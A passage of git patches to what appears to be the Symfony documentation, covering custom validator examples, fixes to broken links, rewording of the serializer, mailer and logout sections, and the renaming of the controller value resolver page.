 if it causes no violations. The ``buildViolation()`` method takes the error
 message as its argument and returns an instance of
@@ -114,13 +114,13 @@ You can use custom validators like the ones provided by Symfony itself:
 
     .. code-block:: php-annotations
 
-        // src/Entity/AcmeEntity.php
+        // src/Entity/User.php
         namespace App\Entity;
 
         use App\Validator as AcmeAssert;
         use Symfony\Component\Validator\Constraints as Assert;
 
-        class AcmeEntity
+        class User
         {
             // ...
 
@@ -128,7 +128,7 @@ You can use custom validators like the ones provided by Symfony itself:
              * @Assert\NotBlank
              * @AcmeAssert\ContainsAlphanumeric
              */
-            protected $name;
+            protected string $name = '';
 
             // ...
         }
@@ -136,7 +136,7 @@ You can use custom validators like the ones provided by Symfony itself:
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\Entity\AcmeEntity:
+        App\Entity\User:
             properties:
                 name:
                     - NotBlank: ~
@@ -150,7 +150,7 @@ You can use custom validators like the ones provided by Symfony itself:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\Entity\AcmeEntity">
+            <class name="App\Entity\User">
                 <property name="name">
                     <constraint name="NotBlank"/>
                     <constraint name="App\Validator\ContainsAlphanumeric"/>
@@ -160,18 +160,20 @@ You can use custom validators like the ones provided by Symfony itself:
 
     .. code-block:: php
 
-        // src/Entity/AcmeEntity.php
+        // src/Entity/User.php
         namespace App\Entity;
 
         use App\Validator\ContainsAlphanumeric;
         use Symfony\Component\Validator\Constraints\NotBlank;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class AcmeEntity
+        class User
         {
-            public $name;
+            protected string $name = '';
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new NotBlank());
                 $metadata->addPropertyConstraint('name', new ContainsAlphanumeric());
@@ -194,64 +196,14 @@ Class Constraint Validator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Besides validating a single property, a constraint can have an entire class
-as its scope. Consider the following classes, that describe the receipt of some payment::
-
-    // src/AppBundle/Model/PaymentReceipt.php
-    class PaymentReceipt
-    {
-        /**
-         * @var User
-         */
-        private $user;
-
-        /**
-         * @var array
-         */
-        private $payload;
-
-        public function __construct(User $user, array $payload)
-        {
-            $this->user = $user;
-            $this->payload = $payload;
-        }
-
-        public function getUser(): User
-        {
-            return $this->user;
-        }
-
-        public function getPayload(): array
-        {
-            return $this->payload;
-        }
-    }
-
-    // src/AppBundle/Model/User.php
-
-    class User
-    {
-        /**
-         * @var string
-         */
-        private $email;
-
-        public function __construct($email)
-        {
-            $this->email = $email;
-        }
-
-        public function getEmail(): string
-        {
-            return $this->email;
-        }
-    }
+as its scope.
 
-As an example you're going to check if the email in receipt payload matches the user email.
-To validate the receipt, it is required to create the constraint first.
-You only need to add the ``getTargets()`` method to the ``Constraint`` class::
+For instance, imagine you also have a ``PaymentReceipt`` entity and you
+need to make sure the email of the receipt payload matches the user's
+email. First, create a constraint and override the ``getTargets()`` method::
 
-    // src/AppBundle/Validator/Constraints/ConfirmedPaymentReceipt.php
-    namespace AppBundle\Validator\Constraints;
+    // src/Validator/ConfirmedPaymentReceipt.php
+    namespace App\Validator;
 
     use Symfony\Component\Validator\Constraint;
 
@@ -260,18 +212,19 @@ You only need to add the ``getTargets()`` method to the ``Constraint`` class::
      */
     class ConfirmedPaymentReceipt extends Constraint
     {
-        public $userDoesntMatchMessage = 'User email does not match the receipt email';
+        public string $userDoesNotMatchMessage = 'User\'s e-mail address does not match that of the receipt';
 
-        public function getTargets()
+        public function getTargets(): string
         {
             return self::CLASS_CONSTRAINT;
         }
     }
 
-With this, the validator's ``validate()`` method gets an object as its first argument::
+Now, the constraint validator will get an object as the first argument to
+``validate()``::
 
-    // src/AppBundle/Validator/Constraints/ConfirmedPaymentReceiptValidator.php
-    namespace AppBundle\Validator\Constraints;
+    // src/Validator/ConfirmedPaymentReceiptValidator.php
+    namespace App\Validator;
 
     use Symfony\Component\Validator\Constraint;
     use Symfony\Component\Validator\ConstraintValidator;
@@ -281,9 +234,8 @@ With this, the validator's ``validate()`` method gets an object as its first arg
     {
         /**
          * @param PaymentReceipt $receipt
-         * @param Constraint|ConfirmedPaymentReceipt $constraint
          */
-        public function validate($receipt, Constraint $constraint)
+        public function validate($receipt, Constraint $constraint): void
         {
             if (!$receipt instanceof PaymentReceipt) {
                 throw new UnexpectedValueException($receipt, PaymentReceipt::class);
@@ -298,7 +250,7 @@ With this, the validator's ``validate()`` method gets an object as its first arg
 
             if ($userEmail !== $receiptEmail) {
                 $this->context
-                    ->buildViolation($constraint->userDoesntMatchMessage)
+                    ->buildViolation($constraint->userDoesNotMatchMessage)
                     ->atPath('user.email')
                     ->addViolation();
             }
@@ -311,20 +263,19 @@ With this, the validator's ``validate()`` method gets an object as its first arg
     associated. Use any :doc:`valid PropertyAccess syntax </components/property_access>`
     to define that property.
 
-A class constraint validator is applied to the class itself, and
-not to the property:
+A class constraint validator must be applied to the class itself:
 
 .. configuration-block::
 
     .. code-block:: php-annotations
 
-        // src/Entity/AcmeEntity.php
+        // src/Entity/PaymentReceipt.php
         namespace App\Entity;
 
-        use App\Validator as AcmeAssert;
+        use App\Validator\ConfirmedPaymentReceipt;
 
         /**
-         * @AppAssert\ConfirmedPaymentReceipt
+         * @ConfirmedPaymentReceipt
          */
         class PaymentReceipt
         {
@@ -333,44 +284,55 @@ not to the property:
 
     .. code-block:: yaml
 
-        # src/AppBundle/Resources/config/validation.yml
-        AppBundle\Model\PaymentReceipt:
+        # config/validator/validation.yaml
+        App\Entity\PaymentReceipt:
             constraints:
-                - AppBundle\Validator\Constraints\ConfirmedPaymentReceipt: ~
+                - App\Validator\ConfirmedPaymentReceipt: ~
 
     .. code-block:: xml
 
-        <!-- src/AppBundle/Resources/config/validation.xml -->
-        <class name="AppBundle\Model\PaymentReceipt">
-            <constraint name="AppBundle\Validator\Constraints\ConfirmedPaymentReceipt"/>
-        </class>
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
+                https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\PaymentReceipt">
+                <constraint name="App\Validator\ConfirmedPaymentReceipt"/>
+            </class>
+        </constraint-mapping>
 
     .. code-block:: php
 
-        // src/AppBundle/Model/PaymentReceipt.php
-        use AppBundle\Validator\Constraints\ConfirmedPaymentReceipt;
+        // src/Entity/PaymentReceipt.php
+        namespace App\Entity;
+
+        use App\Validator\ConfirmedPaymentReceipt;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
         class PaymentReceipt
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new ConfirmedPaymentReceipt());
             }
         }
 
-<<<<<<< HEAD
 Testing Custom Constraints
 --------------------------
 
-Use the ``ConstraintValidatorTestCase`` utility to simplify the creation of
-unit tests for your custom constraints::
+Use the :class:`Symfony\\Component\\Validator\\Test\\ConstraintValidatorTestCase``
+class to simplify writing unit tests for your custom constraints::
+
+    // tests/Validator/ContainsAlphanumericValidatorTest.php
+    namespace App\Tests\Validator;
 
-    // ...
     use App\Validator\ContainsAlphanumeric;
     use App\Validator\ContainsAlphanumericValidator;
+    use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
 
     class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
     {
@@ -404,137 +366,3 @@ unit tests for your custom constraints::
             // ...
         }
     }
-
-How to Unit Test your Validator
--------------------------------
-
-To create a unit test for you custom validator, your test case class should
-extend the ``ConstraintValidatorTestCase`` class and implement the ``createValidator()`` method::
-
-    protected function createValidator()
-    {
-        return new ContainsAlphanumericValidator();
-    }
-
-After that you can add any test cases you need to cover the validation logic::
-
-    use AppBundle\Validator\Constraints\ContainsAlphanumeric;
-    use AppBundle\Validator\Constraints\ContainsAlphanumericValidator;
-    use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
-
-    class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
-    {
-        protected function createValidator()
-        {
-            return new ContainsAlphanumericValidator();
-        }
-
-        /**
-         * @dataProvider getValidStrings
-         */
-        public function testValidStrings($string)
-        {
-            $this->validator->validate($string, new ContainsAlphanumeric());
-
-            $this->assertNoViolation();
-        }
-
-        public function getValidStrings()
-        {
-            return [
-                ['Fabien'],
-                ['SymfonyIsGreat'],
-                ['HelloWorld123'],
-            ];
-        }
-
-        /**
-         * @dataProvider getInvalidStrings
-         */
-        public function testInvalidStrings($string)
-        {
-            $constraint = new ContainsAlphanumeric([
-                'message' => 'myMessage',
-            ]);
-
-            $this->validator->validate($string, $constraint);
-
-            $this->buildViolation('myMessage')
-                ->setParameter('{{ string }}', $string)
-                ->assertRaised();
-        }
-
-        public function getInvalidStrings()
-        {
-            return [
-                ['example_'],
-                ['@$^&'],
-                ['hello-world'],
-                ['<body>'],
-            ];
-        }
-    }
-
-You can also use the ``ConstraintValidatorTestCase`` class for creating test cases for class constraints::
-
-    use AppBundle\Validator\Constraints\ConfirmedPaymentReceipt;
-    use AppBundle\Validator\Constraints\ConfirmedPaymentReceiptValidator;
-    use Symfony\Component\Validator\Exception\UnexpectedValueException;
-    use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
-
-    class ConfirmedPaymentReceiptValidatorTest extends ConstraintValidatorTestCase
-    {
-        protected function createValidator()
-        {
-            return new ConfirmedPaymentReceiptValidator();
-        }
-
-        public function testValidReceipt()
-        {
-            $receipt = new PaymentReceipt(new User('foo@bar.com'), ['email' => 'foo@bar.com', 'data' => 'baz']);
-            $this->validator->validate($receipt, new ConfirmedPaymentReceipt());
-
-            $this->assertNoViolation();
-        }
-
-        /**
-         * @dataProvider getInvalidReceipts
-         */
-        public function testInvalidReceipt($paymentReceipt)
-        {
-            $this->validator->validate(
-                $paymentReceipt,
-                new ConfirmedPaymentReceipt(['userDoesntMatchMessage' => 'myMessage'])
-            );
-
-            $this->buildViolation('myMessage')
-                ->atPath('property.path.user.email')
-                ->assertRaised();
-        }
-
-        public function getInvalidReceipts()
-        {
-            return [
-                [new PaymentReceipt(new User('foo@bar.com'), [])],
-                [new PaymentReceipt(new User('foo@bar.com'), ['email' => 'baz@foo.com'])],
-            ];
-        }
-
-        /**
-         * @dataProvider getUnexpectedArguments
-         */
-        public function testUnexpectedArguments($value, $constraint)
-        {
-            self::expectException(UnexpectedValueException::class);
-
-            $this->validator->validate($value, $constraint);
-        }
-
-        public function getUnexpectedArguments()
-        {
-            return [
-                [new \stdClass(), new ConfirmedPaymentReceipt()],
-                [new PaymentReceipt(new User('foo@bar.com'), []), new Unique()],
-            ];
-        }
-    }

From 58ede1b9f51173ebd2cc24c146ee693290c18f6b Mon Sep 17 00:00:00 2001
From: Elliot <37578863+elliotbruneel@users.noreply.github.com>
Date: Sun, 16 Oct 2022 21:38:29 +0200
Subject: [PATCH 2432/5766] Remove akamai broken link

The link of the article is broken, according to archive.org the last version available was in July 2021: https://web.archive.org/web/20210729163732/https://blogs.akamai.com/2017/03/http2-server-push-the-what-how-and-why.html

The article seems to be no longer available
---
 web_link.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/web_link.rst b/web_link.rst
index dd8ce736e89..1fdca21b738 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -100,7 +100,7 @@ According to `the Preload specification`_, when an HTTP/2 server detects that
 the original (HTTP 1.x) response contains this HTTP header, it will
 automatically trigger a push for the related file in the same HTTP/2 connection.
 
-Popular proxy services and CDNs including `Cloudflare`_, `Fastly`_ and `Akamai`_
+Popular proxy services and CDNs including `Cloudflare`_ and `Fastly`_
 also leverage this feature. It means that you can push resources to clients and
 improve performance of your applications in production right now.
 
@@ -187,6 +187,5 @@ You can also add links to the HTTP response directly from controllers and servic
 .. _`the Preload specification`: https://www.w3.org/TR/preload/#server-push-http-2
 .. _`Cloudflare`: https://blog.cloudflare.com/announcing-support-for-http-2-server-push-2/
 .. _`Fastly`: https://docs.fastly.com/en/guides/http2-server-push
-.. _`Akamai`: https://blogs.akamai.com/2017/03/http2-server-push-the-what-how-and-why.html
 .. _`link defined in the HTML specification`: https://html.spec.whatwg.org/dev/links.html#linkTypes
 .. _`PSR-13`: https://www.php-fig.org/psr/psr-13/

From ac46df4dd4dc8514cf1f0e58f7d7e3fb3e44e104 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 16 Oct 2022 21:57:33 +0200
Subject: [PATCH 2433/5766] [#17328] Minor changes

---
 security.rst | 24 ++++++++++--------------
 1 file changed, 10 insertions(+), 14 deletions(-)

diff --git a/security.rst b/security.rst
index 5641e825742..13476970fef 100644
--- a/security.rst
+++ b/security.rst
@@ -1724,7 +1724,7 @@ That's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
 Symfony will un-authenticate the current user and redirect them.
 
 Logout programmatically
------------------------
+~~~~~~~~~~~~~~~~~~~~~~~
 
 .. versionadded:: 6.2
 
@@ -1737,14 +1737,12 @@ Logout programmatically
     The :method:`Symfony\\Bundle\\SecurityBundle\\Security\\Security::logout`
     method was introduced in Symfony 6.2.
 
-You can logout user programmatically using the `logout()` method of the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper. The user will be logout from the current firewall
-in the request. If the current request is not behind a firewall a ``\LogicException`` will be thrown. ::
+You can logout user programmatically using the ``logout()`` method of the
+:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper::
 
     // src/Controller/SecurityController.php
     namespace App\Controller\SecurityController;
 
-    use App\Security\Authenticator\ExampleAuthenticator;
     use Symfony\Bundle\SecurityBundle\Security\Security;
 
     class SecurityController
@@ -1752,20 +1750,18 @@ in the request. If the current request is not behind a firewall a ``\LogicExcept
         public function someAction(Security $security): Response
         {
             // logout the user in on the current firewall
-            $response = $this->security->logout();
-
-            // You can also disable the csrf logout
-            $response = $this->security->logout(false);
+            $response = $security->logout();
 
-            if ($response !== null) {
-                return $response;
-            }
+            // you can also disable the csrf logout
+            $response = $security->logout(false);
 
-            // Redirect to the homepage for instance
-            // ...
+            // ... return $response (if set) or e.g. redirect to the homepage
         }
     }
 
+The user will be logout from the firewall of the request. If the request is
+not behind a firewall a ``\LogicException`` will be thrown.
+
 Customizing Logout
 ~~~~~~~~~~~~~~~~~~
 

From 8d186af5bc2a374a118901209ce0f31aa9525aee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Oct 2022 08:36:47 +0200
Subject: [PATCH 2434/5766] Readded the link to Akamai

---
 web_link.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/web_link.rst b/web_link.rst
index 1fdca21b738..a91fd8d684c 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -100,7 +100,7 @@ According to `the Preload specification`_, when an HTTP/2 server detects that
 the original (HTTP 1.x) response contains this HTTP header, it will
 automatically trigger a push for the related file in the same HTTP/2 connection.
 
-Popular proxy services and CDNs including `Cloudflare`_ and `Fastly`_
+Popular proxy services and CDNs including `Cloudflare`_, `Fastly`_ and `Akamai`_
 also leverage this feature. It means that you can push resources to clients and
 improve performance of your applications in production right now.
 
@@ -187,5 +187,6 @@ You can also add links to the HTTP response directly from controllers and servic
 .. _`the Preload specification`: https://www.w3.org/TR/preload/#server-push-http-2
 .. _`Cloudflare`: https://blog.cloudflare.com/announcing-support-for-http-2-server-push-2/
 .. _`Fastly`: https://docs.fastly.com/en/guides/http2-server-push
+.. _`Akamai`: https://http2.akamai.com/
 .. _`link defined in the HTML specification`: https://html.spec.whatwg.org/dev/links.html#linkTypes
 .. _`PSR-13`: https://www.php-fig.org/psr/psr-13/

From c0e8d75dcc150ce7e2d12db1ad506b1971503f02 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Oct 2022 08:55:28 +0200
Subject: [PATCH 2435/5766] Reword

---
 components/serializer.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5dc2083fcf6..61747a1128c 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -797,13 +797,17 @@ The Serializer component provides several built-in normalizers:
     parent classes) by using `PHP reflection`_. It supports calling the constructor
     during the denormalization process.
 
-.. versionadded:: 6.2
+    Objects are normalized to a map of property names to property values.
 
-    You can change normalization visibility by setting the serializer context option
-    ``PropertyNormalizer::NORMALIZE_VISIBILITY`` and combine ``PropertyNormalizer::NORMALIZE_PUBLIC``,
+    If you prefer to only normalize certain properties (e.g. only public properties)
+    set the ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and
+    combine the following values: ``PropertyNormalizer::NORMALIZE_PUBLIC``,
     ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``.
 
-    Objects are normalized to a map of property names to property values.
+    .. versionadded:: 6.2
+
+        The ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and its
+        values were introduced in Symfony 6.2.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
     This normalizer works with classes that implement :phpclass:`JsonSerializable`.

From 8bf5f9e815df7fb8fef6771d383de24e31a26af1 Mon Sep 17 00:00:00 2001
From: Kamil Kuzminski <kamil.kuzminski@codefog.pl>
Date: Wed, 14 Sep 2022 16:37:18 +0200
Subject: [PATCH 2436/5766] Fix the code example leading to an error

---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index ad0f16f1a15..a09556a1bf8 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -236,7 +236,7 @@ add a service conditionally based on the ``foo`` value::
         public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
         {
             if ($config['foo']) {
-                $container->set('foo_service', new \stdClass());
+                $builder->register('foo_service', \stdClass::class);
             }
         }
     }

From e24a36d4b34347225c0d9e27482fbe3a4c5e06f8 Mon Sep 17 00:00:00 2001
From: Pinchon Karim <kpn13@users.noreply.github.com>
Date: Wed, 12 Oct 2022 14:04:31 +0200
Subject: [PATCH 2437/5766] docs(test): add array example for options

---
 console.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/console.rst b/console.rst
index 0830ace0829..de35f22ca2d 100644
--- a/console.rst
+++ b/console.rst
@@ -372,6 +372,8 @@ console::
 
                 // prefix the key with two dashes when passing options,
                 // e.g: '--some-option' => 'option_value',
+                // use brackets for testing array value,
+                // e.g: '--some-option' => ['option_value'],
             ]);
 
             // the output of the command in the console

From d57bbb12bf7508f32d0398a50dfa4b628aa9cf16 Mon Sep 17 00:00:00 2001
From: Elliot <37578863+elliotbruneel@users.noreply.github.com>
Date: Mon, 17 Oct 2022 17:31:22 +0200
Subject: [PATCH 2438/5766] Fix Stumptown Syndicate guideline broken link

Use the github link instead of the broken website link
---
 contributing/code_of_conduct/reporting_guidelines.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code_of_conduct/reporting_guidelines.rst b/contributing/code_of_conduct/reporting_guidelines.rst
index b44fec3743e..a00394bce65 100644
--- a/contributing/code_of_conduct/reporting_guidelines.rst
+++ b/contributing/code_of_conduct/reporting_guidelines.rst
@@ -93,6 +93,6 @@ Reporting Guidelines derived from those of the `Stumptown Syndicate`_ and the
 
 Adopted by `Symfony`_ organizers on 21 February 2018.
 
-.. _`Stumptown Syndicate`: http://stumptownsyndicate.org/code-of-conduct/reporting-guidelines/
+.. _`Stumptown Syndicate`: https://github.com/stumpsyn/policies/blob/master/reporting_guidelines.md/
 .. _`Django Software Foundation`: https://www.djangoproject.com/conduct/reporting/
 .. _`Symfony`: https://symfony.com

From 56b7695409f3c0d7757c3fd7e848f3eba28ca710 Mon Sep 17 00:00:00 2001
From: Elliot <37578863+elliotbruneel@users.noreply.github.com>
Date: Mon, 17 Oct 2022 17:34:35 +0200
Subject: [PATCH 2439/5766] Force SimpleBus https url

SimpleBus allows https
---
 components/messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 0772293eab1..b71680ff70e 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -357,4 +357,4 @@ Learn more
     /messenger/*
 
 .. _`blog posts about command buses`: https://matthiasnoback.nl/tags/command%20bus/
-.. _`SimpleBus project`: http://docs.simplebus.io/en/latest/
+.. _`SimpleBus project`: https://docs.simplebus.io/en/latest/

From 7f3a21d16f3b227451ed5176d5060a38457274e7 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 10 Oct 2022 10:09:39 -0400
Subject: [PATCH 2440/5766] Mentioning svelte as aa valid loader override type

---
 frontend/encore/advanced-config.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 26cd3a00a6e..75bc423f461 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -230,6 +230,7 @@ The following loaders are configurable with ``configureLoaderRule()``:
   - ``sass`` (alias ``scss``)
   - ``less``
   - ``stylus``
+  - ``svelte``
   - ``vue``
   - ``eslint``
   - ``typescript`` (alias ``ts``)

From fdfcf89252a2525ebd794665fafa0062d6e428d1 Mon Sep 17 00:00:00 2001
From: Elliot <37578863+elliotbruneel@users.noreply.github.com>
Date: Mon, 17 Oct 2022 18:12:15 +0200
Subject: [PATCH 2441/5766] Change secure.php.net link to php.net

---
 console.rst                                                     | 2 +-
 .../forms/types/options/date_input_format_description.rst.inc   | 2 +-
 reference/forms/types/time.rst                                  | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/console.rst b/console.rst
index de35f22ca2d..f67dfb71f5d 100644
--- a/console.rst
+++ b/console.rst
@@ -145,7 +145,7 @@ the console::
             '',
         ]);
 
-        // the value returned by someMethod() can be an iterator (https://secure.php.net/iterator)
+        // the value returned by someMethod() can be an iterator (https://php.net/iterator)
         // that generates and returns the messages with the 'yield' PHP keyword
         $output->writeln($this->someMethod());
 
diff --git a/reference/forms/types/options/date_input_format_description.rst.inc b/reference/forms/types/options/date_input_format_description.rst.inc
index 4cd9b353e31..5606ac5f50d 100644
--- a/reference/forms/types/options/date_input_format_description.rst.inc
+++ b/reference/forms/types/options/date_input_format_description.rst.inc
@@ -5,4 +5,4 @@
 If the ``input`` option is set to ``string``, this option specifies the format
 of the date. This must be a valid `PHP date format`_.
 
-.. _`PHP date format`: https://secure.php.net/manual/en/function.date.php
+.. _`PHP date format`: https://php.net/manual/en/function.date.php
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 5d2c6276f98..dd41af07caa 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -237,4 +237,4 @@ Form Variables
 |              |             | contains the input type to use (``datetime``, ``date`` or ``time``). |
 +--------------+-------------+----------------------------------------------------------------------+
 
-.. _`PHP time format`: https://secure.php.net/manual/en/function.date.php
+.. _`PHP time format`: https://php.net/manual/en/function.date.php

From 9651651bd9185a4472fe75fa7296dbea53309e9f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Oct 2022 09:54:27 +0200
Subject: [PATCH 2442/5766] Reword

---
 mailer.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 52918c107e1..ef358cdfd9c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1,4 +1,4 @@
-Sending Emails with Mailer
+17340Sending Emails with Mailer
 ==========================
 
 .. versionadded:: 4.3
@@ -793,6 +793,8 @@ This makes use of the :ref:`css Twig namespace <mailer-css-namespace>` we create
 earlier. You could, for example, `download the foundation-emails.css file`_
 directly from GitHub and save it in ``assets/css``.
 
+.. _signing-and-encrypting-messages:
+
 Signing and Encrypting Messages
 -------------------------------
 
@@ -1059,11 +1061,10 @@ is sent::
 
 .. tip::
 
-    The ``MessageEvent`` is also used internally. Depending on your use case
-    you might need to set a lower or higher priority for your own listener.
-    For example, when you want to sign the message, make sure to use ``-1``
-    or lower so the body has already been rendered and will not change after
-    signing.
+    When using a ``MessageEvent`` listener to
+    :doc:`sign the email contents <signing-and-encrypting-messages>`, run it as
+    late as possible (e.g. setting a negative priority for it) so the email
+    contents are not set or modified after signing them.
 
 Development & Debugging
 -----------------------

From 5ece334a58c0041f97e4d2f6ae54fdb948b4260e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Oct 2022 10:18:56 +0200
Subject: [PATCH 2443/5766] Fix a typo

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index ef358cdfd9c..de7c6ee8e30 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1,4 +1,4 @@
-17340Sending Emails with Mailer
+Sending Emails with Mailer
 ==========================
 
 .. versionadded:: 4.3

From 5dbace5e7e07aa6163d3b090895c4dc7e877cc35 Mon Sep 17 00:00:00 2001
From: Nicolas Lemoine <nico.lemoine@gmail.com>
Date: Tue, 18 Oct 2022 12:54:54 +0200
Subject: [PATCH 2444/5766] Fix `notifier.flash_message_importance_mapper`
 service definition

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 30893558654..b35db12f8ea 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -717,7 +717,8 @@ typical alert levels, which you can implement immediately using:
 
         # config/services.yaml
         services:
-            notifier.flash_message_importance_mapper: Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper
+            notifier.flash_message_importance_mapper: 
+                class: Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper
 
     .. code-block:: xml
 

From b6bcc3d0ededaef7974a519bbd8c2290df71acb9 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 18 Oct 2022 12:53:10 +0200
Subject: [PATCH 2445/5766] [HttpKernel] Replace ArgumentValueResolverInterface
 by ValueResolverInterface

---
 _build/redirection_map                        |   1 +
 ..._value_resolver.rst => value_resolver.rst} | 167 ++++++------------
 2 files changed, 55 insertions(+), 113 deletions(-)
 rename controller/{argument_value_resolver.rst => value_resolver.rst} (65%)

diff --git a/_build/redirection_map b/_build/redirection_map
index a44b2f213e8..57cd82d276a 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -538,3 +538,4 @@
 /email /mailer
 /frontend/assetic /frontend
 /frontend/assetic/index /frontend
+/controller/argument_value_resolver /controller/value_resolver
diff --git a/controller/argument_value_resolver.rst b/controller/value_resolver.rst
similarity index 65%
rename from controller/argument_value_resolver.rst
rename to controller/value_resolver.rst
index a2432ac8308..7f3ca0a50c2 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -9,7 +9,7 @@ In the :doc:`controller guide </controller>`, you've learned that you can get th
 your controller. This argument has to be type-hinted by the ``Request`` class
 in order to be recognized. This is done via the
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver`. By
-creating and registering custom argument value resolvers, you can extend this
+creating and registering custom value resolvers, you can extend this
 functionality.
 
 .. _functionality-shipped-with-the-httpkernel:
@@ -168,132 +168,88 @@ PSR-7 Objects Resolver:
 Adding a Custom Value Resolver
 ------------------------------
 
-In the next example, you'll create a value resolver to inject the object that
-represents the current user whenever a controller method type-hints an argument
-with the ``User`` class::
+In the next example, you'll create a value resolver to inject an ID value
+object whenever a controller argument has a type implementing
+``IdentifierInterface`` (e.g. ``BookingId``)::
 
-    // src/Controller/UserController.php
+    // src/Controller/BookingController.php
     namespace App\Controller;
 
-    use App\Entity\User;
+    use App\Reservation\BookingId;
     use Symfony\Component\HttpFoundation\Response;
 
-    class UserController
+    class BookingController
     {
-        public function index(User $user)
+        public function index(BookingId $id): Response
         {
-            return new Response('Hello '.$user->getUserIdentifier().'!');
+            // ... do something with $id
         }
     }
 
-Beware that this feature is already provided by the `#[ParamConverter]`_
-attribute from the SensioFrameworkExtraBundle. If you have that bundle
-installed in your project, add this config to disable the auto-conversion of
-type-hinted method arguments:
+.. versionadded:: 6.2
 
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/sensio_framework_extra.yaml
-        sensio_framework_extra:
-            request:
-                converters: true
-                auto_convert: false
-
-    .. code-block:: xml
-
-        <!-- config/packages/sensio_framework_extra.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:sensio-framework-extra="http://symfony.com/schema/dic/symfony_extra"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony_extra
